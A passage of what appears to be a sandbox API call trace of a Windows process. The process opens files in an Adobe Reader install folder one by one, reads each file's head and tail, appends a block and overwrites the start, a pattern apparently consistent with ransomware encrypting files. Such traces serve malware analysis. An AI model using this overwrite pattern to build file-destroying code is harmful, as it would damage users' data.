dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.835] ReleaseMutex (hMutex=0x128) returned 1 [0042.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.835] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nrw.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nrw.fca", lpUsedDefaultChar=0x0) returned 7 [0042.836] ReadFile (in: hFile=0x198, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2c0f2bc*=0x47c, lpOverlapped=0x0) returned 1 [0042.837] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0042.837] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0xa04, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa04, lpOverlapped=0x0) returned 1 [0042.837] CloseHandle (hObject=0x198) returned 1 [0042.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\pol.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\pol.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.838] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.838] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1d000 [0042.838] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.838] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.838] ReleaseMutex (hMutex=0x128) returned 1 [0042.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pol.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pol.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.838] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.840] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c000 [0042.840] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.840] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c000 [0042.840] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.841] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.841] WriteFile (in: hFile=0x198, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.841] CloseHandle (hObject=0x198) returned 1 [0042.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rumphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\rumphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.842] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.842] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2478 [0042.842] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.842] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.842] ReleaseMutex (hMutex=0x128) returned 1 [0042.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rumphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.842] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rumphon.env", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rumphon.env", lpUsedDefaultChar=0x0) returned 11 [0042.842] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.844] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1478 [0042.844] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.845] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1478 [0042.845] WriteFile (in: hFile=0x198, lpBuffer=0x2770488*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770488*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.845] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.845] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.845] CloseHandle (hObject=0x198) returned 1 [0042.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slo.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slo.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2e0 [0042.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.846] ReleaseMutex (hMutex=0x128) returned 1 [0042.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo.fca", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slo.fca", lpUsedDefaultChar=0x0) returned 7 [0042.846] ReadFile (in: hFile=0x198, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2c0f2bc*=0x2e0, lpOverlapped=0x0) returned 1 [0042.847] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0042.848] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x868, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2c0f2d0*=0x868, lpOverlapped=0x0) returned 1 [0042.848] CloseHandle (hObject=0x198) returned 1 [0042.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn24.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\spn24.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0042.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x33c91 [0042.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.848] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.848] ReleaseMutex (hMutex=0x128) returned 1 [0042.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn24.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="spn24.hsp", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spn24.hsp", lpUsedDefaultChar=0x0) returned 9 [0042.848] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.850] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x32c91 [0042.850] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.851] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x32c91 [0042.851] WriteFile (in: hFile=0x198, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.852] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.852] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.852] CloseHandle (hObject=0x198) returned 1 [0042.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\tur111.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\tur111.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.853] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.853] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x72b36 [0042.853] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.853] ReleaseMutex (hMutex=0x128) returned 1 [0042.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur111.hsp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tur111.hsp", cchWideChar=10, lpMultiByteStr=0x1e631cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tur111.hsp", lpUsedDefaultChar=0x0) returned 10 [0042.853] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.855] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x71b36 [0042.855] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.857] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x71b36 [0042.857] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.857] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.857] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.858] CloseHandle (hObject=0x168) returned 1 [0042.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.858] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.859] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3229c [0042.859] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.859] ReleaseMutex (hMutex=0x128) returned 1 [0042.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Japanese83pv.txt", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0042.859] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Japanese83pv.txt", cchWideChar=16, lpMultiByteStr=0x1e78b7c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Japanese83pv.txt", lpUsedDefaultChar=0x0) returned 16 [0042.859] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0042.861] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3129c [0042.861] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.861] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3129c [0042.862] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.862] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.862] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0042.862] CloseHandle (hObject=0x168) returned 1 [0042.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.863] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.863] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x34f0 [0042.863] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.863] ReleaseMutex (hMutex=0x128) returned 1 [0042.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CROATIAN.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CROATIAN.TXT", cchWideChar=12, lpMultiByteStr=0x1e631cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CROATIAN.TXT", lpUsedDefaultChar=0x0) returned 12 [0042.863] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.865] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x24f0 [0042.865] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.866] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x24f0 [0042.866] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.866] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.866] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.866] CloseHandle (hObject=0x168) returned 1 [0042.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0042.867] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.867] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3d73 [0042.867] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.867] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.867] ReleaseMutex (hMutex=0x128) returned 1 [0042.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SYMBOL.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SYMBOL.TXT", cchWideChar=10, 